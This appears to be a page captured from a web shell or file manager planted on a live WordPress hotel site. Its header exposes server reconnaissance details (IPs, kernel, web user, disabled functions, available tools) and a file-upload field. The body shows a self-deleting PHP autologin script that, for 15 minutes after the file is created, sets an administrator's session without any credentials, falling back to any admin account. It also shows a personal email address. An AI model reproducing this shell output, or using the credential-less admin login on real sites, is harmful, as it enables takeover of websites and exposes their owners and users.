| Server IP : 89.108.64.180 / Your IP : 216.73.217.117 Web Server : Apache/2.4.41 (Ubuntu) System : Linux 89-108-64-180.cloudvps.regruhosting.ru 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64 User : www-root ( 1010) PHP Version : 8.0.30 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/gradhotel.com/ |
Upload File : |
<?php
$email = 'floranzz1@gmail.com';
$redirect_location = 'hpanel';
$client_id = '32221816';
$acting_client_id = '';
$data = [
'email' => $email,
'redirect_location' => $redirect_location,
'client_id' => $client_id,
'acting_client_id' => $acting_client_id,
'autologin_file' => __FILE__,
];
function auto_login( $args ) {
if ( ! is_user_logged_in() ) {
$user_id = get_user_id( $args['email'] );
$user = get_user_by( 'ID', $user_id );
$redirect_page = get_login_link($args['redirect_location'], $args['client_id'], $args['acting_client_id']);
if ( ! $user ) {
wp_redirect( $redirect_page );
exit();
}
$login_username = $user->user_login;
wp_set_current_user( $user_id, $login_username );
wp_set_auth_cookie( $user_id );
do_action( 'wp_login', $login_username, $user );
// Go to admin area
$args['redirect_page'] = $redirect_page;
do_action( 'hostinger_autologin', $args );
wp_redirect( $redirect_page );
exit();
}
}
/**
* @param string $email
* @return void
*/
function get_user_id( $email )
{
$admins = get_users( [
'role' => 'administrator',
'search' => '*' . $email . '*',
'search_columns' => ['user_email'],
] );
if (isset($admins[0]->ID)) {
return $admins[0]->ID;
}
$admins = get_users( [ 'role' => 'administrator' ] );
if (isset($admins[0]->ID)) {
return $admins[0]->ID;
}
return null;
}
// Initialize WordPress
define( 'WP_USE_THEMES', true );
$timeSinceScriptCreation = time() - stat( __FILE__ )['mtime'];
// Delete itself to make sure it is executed only once
unlink( __FILE__ );
if ( ! isset( $wp_did_header ) ) {
$wp_did_header = true;
// Load the WordPress library.
require_once( dirname( __FILE__ ) . '/wp-load.php' );
add_filter( 'option_active_plugins' , function ( $plugins ) {
return array_filter( $plugins , function ( $item ) {
return strpos( $item, 'hostinger' ) !== false;
});
});
if ( is_user_logged_in() ) {
$redirect_page = get_login_link($redirect_location, $client_id, $acting_client_id);
$data['redirect_page'] = $redirect_page;
do_action( 'hostinger_autologin_user_logged_in', $data );
wp_redirect( $redirect_page );
exit();
}
if ( $timeSinceScriptCreation < 900 ) {
auto_login($data);
}
wp();
// Load the theme template
require_once( ABSPATH . WPINC . '/template-loader.php' );
}
function get_login_link( $redirect_location, $client_id, $acting_client_id )
{
$query_args = [
'platform' => $redirect_location,
];
if (!empty($client_id)) {
$query_args['client_id'] = $client_id;
}
if (!empty($acting_client_id)) {
$query_args['acting_client_id'] = $acting_client_id;
}
return add_query_arg($query_args, admin_url());
}